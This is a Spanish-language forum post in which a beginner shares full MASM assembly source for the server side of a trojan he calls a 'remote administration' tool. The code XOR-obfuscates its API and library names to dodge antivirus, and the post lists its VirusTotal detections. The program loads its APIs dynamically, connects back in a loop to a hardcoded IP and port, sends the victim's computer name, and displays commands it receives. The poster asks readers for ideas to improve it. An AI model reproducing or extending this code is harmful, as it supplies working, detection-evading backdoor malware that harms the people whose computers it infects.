Como el foro casi siempre me supo responder mis preguntas, hoy voy a colaborar yo... voy a aclarar que soy nuevo en asm, y quizas el codigo no es el mejor, pero lo voy a compartir, asi que no sean crueles jajaja
Bueno, en un principio no queria exponerlo, pero como me decidi a hacer diferente mi aplicacion de "administracion remota" lo voy a poner aca...
Lo probe con virustotal y asi como esta tiene 4 detecciones:
VBA32 Malware-Cryptor.Win32.Allblock
Norman Crypt.AWHI
F-Prot W32/Threat-HLLSI-based!Maximus
Commtouch W32/Threat-HLLSI-based!Maximus
Aclaro que, a lo mejor ven alguna rutina que han visto en Internet, eso se debe a que he investigado muchísimo, (no se olviden que soy nuevo, y bueno.. así se aprende... ) y no he encontrado otra forma mejor de implementarlas, por eso son iguales,, las iba a cambiar, pero como voy a empezar otro troyano, este lo dejo como esta..
Sin mas que decir:
Código:
.386
.model flat, stdcall
option casemap:none
include Servidor.inc
bufSize = MAX_COMPUTERNAME_LENGTH + 1 ;Tamaño maximo del nombre del pc
.data
Ip db "127.0.0.1",0 ;Direccion remota
Port dd 8888 ;Puerto remoto
Ver dd 2.2 ;Version de WinSck
wsa WSADATA <> ;Estructura WSAData
sa sockaddr_in <> ;Estructura de sockaddr_in
Titulo db "Titulo de pruebas", 0
Saludo db "CONNECT|%s0", 0 ;Saludo de conexion
;************************************************************
; Librerias
Ws2 db "Pt5X45)ckk", 0 ;Ws2
U32 db "Rtbu45)ckk", 0 ;User32
Kn32 db "Lbuibk45)ckk", 0 ;Kernel
; Socket
FunW db "PTFTsfusrw", 0 ;WSAStart
FunZ db "PTFDkbfirw", 0 ;WSAClean
FunS db "thdlbs", 0 ;socket
FunI db "nibsXfccu", 0 ;inet_addr
FunH db "oshit", 0 ;htons
FunC db "dhiibds", 0 ;connect
FunV db "ubdq", 0 ;recv
FunO db "dkhtbthdlbs", 0 ;closesocket
FunN db "tbic", 0 ;send
; Funciones del programa
FunM db "Jbttf`bEhF", 0 ;MessageBoxA
FunE db "BnsWuhdbtt", 0 ;ExitProcess
; Datos del Pc
FunG db "@bsDhjwrsbuIfjbF", 0 ;GetComputerNameA
FunP db "ptwunisaF", 0 ;wsprintfA
; Carga dinamica de Apis
FunL db "KhfcKneufu~F", 0 ;LoadLibraryA
FunT db "@bsWuhdFccubtt", 0 ;GetProcAddress
;************************************************************
;******** CP NAME ***********
buffer db 100 dup(?) ;Buffer para guardar el nombre del pc
bSize dd bufSize ;Tamaño para el nombre del pc
getName db bufSize dup(?) ;Necesario para GetComputerNameA
;****************************
.data?
Sock dd ? ;Socket
Buffer db 512 dup(?) ;Buffer para recv
Hand dd ? ;Handle de funcion dinamica
LoadL dd ? ;Handle de LoadLibraryA
GetP dd ? ;Handle de GetProcAddress
.const
WM_SOCK equ WM_USER + 100
SOCK_STRAM equ 1
.code
Inicio:
jmp Mentira
Inicio2:
invoke Llamar, addr Ws2, addr FunW ;WSAStart
push offset [wsa]
push offset [Ver]
call Hand
.IF eax!=NULL
invoke Llamar, addr Kn32, addr FunE
push 0
call Hand
.ENDIF
invoke Llamar, addr Ws2, addr FunS ;socket
push 0
push SOCK_STRAM
push AF_INET
call Hand
.IF eax==INVALID_SOCKET
invoke Llamar, addr Kn32, addr FunE
push 0
call Hand
.ENDIF
mov Sock, eax
mov sa.sin_family, AF_INET
invoke Llamar, addr Ws2, addr FunI ;inet_addr
push offset [Ip]
call Hand
mov sa.sin_addr, eax
invoke Llamar, addr Ws2, addr FunH ;htons
push Port
call Hand
mov sa.sin_port, ax
Conn:
invoke Llamar, addr Ws2, addr FunC ;connect
push sizeof sa
push offset [sa]
push Sock
call Hand
cmp eax, 0
jne Conn
;**********************************************
; GetComputerName
;**********************************************
invoke Llamar, addr Kn32, addr FunG ;GetComputerNameA
push offset [bSize]
push offset [getName]
call Hand
invoke Llamar, addr U32, addr FunP ;wsprintfA
push offset [getName]
push offset [Saludo]
push offset [buffer]
call Hand
invoke Llamar, addr Ws2, addr FunN ;send
push 0
push sizeof buffer
push offset [buffer]
push Sock
call Hand
;**********************************************
Recv:
invoke Llamar, addr Ws2, addr FunV ;recv
push 0
push sizeof Buffer
push offset [Buffer]
push Sock
call Hand
cmp eax, -1
je Recon
invoke Llamar, addr U32, addr FunM ;MessageBoxA
push MB_OK
push offset [Titulo]
push offset [Buffer]
push 0
call Hand
jmp Recv
Recon:
invoke Llamar, addr Ws2, addr FunO ;closesocket
push Sock
call Hand
invoke Llamar, addr Ws2, addr FunZ ;WSAClean
call Hand
jmp Inicio2
Clse:
invoke Llamar, addr Ws2, addr FunO ;closesocket
push Sock
call Hand
invoke Llamar, addr Ws2, addr FunZ ;WSAClean
call Hand
invoke Llamar, addr Kn32, addr FunE ;ExitProcess
push 0
call Hand
Dinamic proc Libreria:DWORD, Funcion:DWORD
push Libreria
call LoadLibrary
push Funcion
push eax
call GetProcAddress
ret
Dinamic endp
Llamar proc Lib:DWORD, Fun:DWORD
push [Lib]
call LoadL
push [Fun]
push eax
call GetP
mov Hand, eax
ret
Llamar endp
Decript proc Funcion:DWORD
xor ecx,ecx
mov eax, [Funcion]
bucle:
cmp byte ptr ds: [eax + ecx], 0
je salir
xor byte ptr ds:[eax + ecx], 7
inc ecx
jmp bucle
salir:
ret
Decript endp
Mentira:
invoke Decript, addr U32 ;User32 -
invoke Decript, addr Kn32 ;Kernel32 - APIS
invoke Decript, addr Ws2 ;WinSock -
invoke Decript, addr FunL ;LoadLibraryA - DINAMICAS
invoke Decript, addr FunT ;GetProcaddress -
invoke Decript, addr FunW ;WsaStartup -
invoke Decript, addr FunZ ;WsaClean -
invoke Decript, addr FunS ;socket -
invoke Decript, addr FunI ;inet_addr -
invoke Decript, addr FunH ;htoons - SOCKET
invoke Decript, addr FunC ;connect -
invoke Decript, addr FunN ;send -
invoke Decript, addr FunV ;recv -
invoke Decript, addr FunO ;closesocket -
invoke Decript, addr FunM ;MessageboxA -
invoke Decript, addr FunE ;ExitProcess - GENERALES
invoke Decript, addr FunP ;wsprintfA -
invoke Decript, addr FunG
;*********************************************
; Obtengo Direccion de Getproc y LoadLib
;*********************************************
push offset [FunL]
push offset [Kn32]
call Dinamic
mov LoadL, eax
push offset [FunT]
push offset [Kn32]
call Dinamic
mov GetP, eax
;*********************************************
jmp Inicio2
end Inicio
Bueno, ahi esta...
Si alguien quiere colaborar con ideas, opiniones y demais, yo muy agradecido..
Saludos!